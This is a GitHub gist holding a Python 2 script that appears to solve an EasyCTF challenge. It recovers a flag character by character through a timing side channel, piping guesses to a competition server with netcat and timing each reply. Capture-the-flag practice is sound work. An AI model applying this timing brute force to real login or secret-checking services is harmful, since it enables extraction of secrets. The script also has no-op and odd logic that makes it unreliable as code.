Created
February 22, 2018 15:31
-
-
Save DionaeaMuscipulaTeam/d16108f9d26d86d9e9d158ffbafd493c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
in order to solve this task you defently need a good stable internet connection | |
""" | |
#!/usr/bin/python | |
import os | |
import time | |
import datetime | |
alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!?-{}" | |
psec=0 | |
final="" | |
count=0 | |
while count < len(alphabet) : | |
flag=final+alphabet[count] | |
print flag | |
start = datetime.datetime.now() | |
os.system('echo '+flag+'| nc c1.easyctf.com 12482 \r\n') | |
end = datetime.datetime.now() | |
elapsed = end - start | |
secds = elapsed.seconds | |
micds = (elapsed.microseconds)*0.000001 | |
exact_time = secds+micds | |
print exact_time | |
diff = exact_time - psec | |
print diff | |
if diff < 1.0 : | |
print "not this letter" | |
count += 1 | |
elif diff > 1.0 and diff < 2.0 : | |
final += alphabet[count] | |
print "correct ! building the flag --------------------------------------------------->: "+final | |
psec = exact_time | |
count = 0 | |
else : | |
print "ayy ayyy ayyy ay !!! restarting ... " | |
count-=0 | |
if count == 4 : | |
flag = flag+"y" | |
print "done !! your flag is : " + final |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment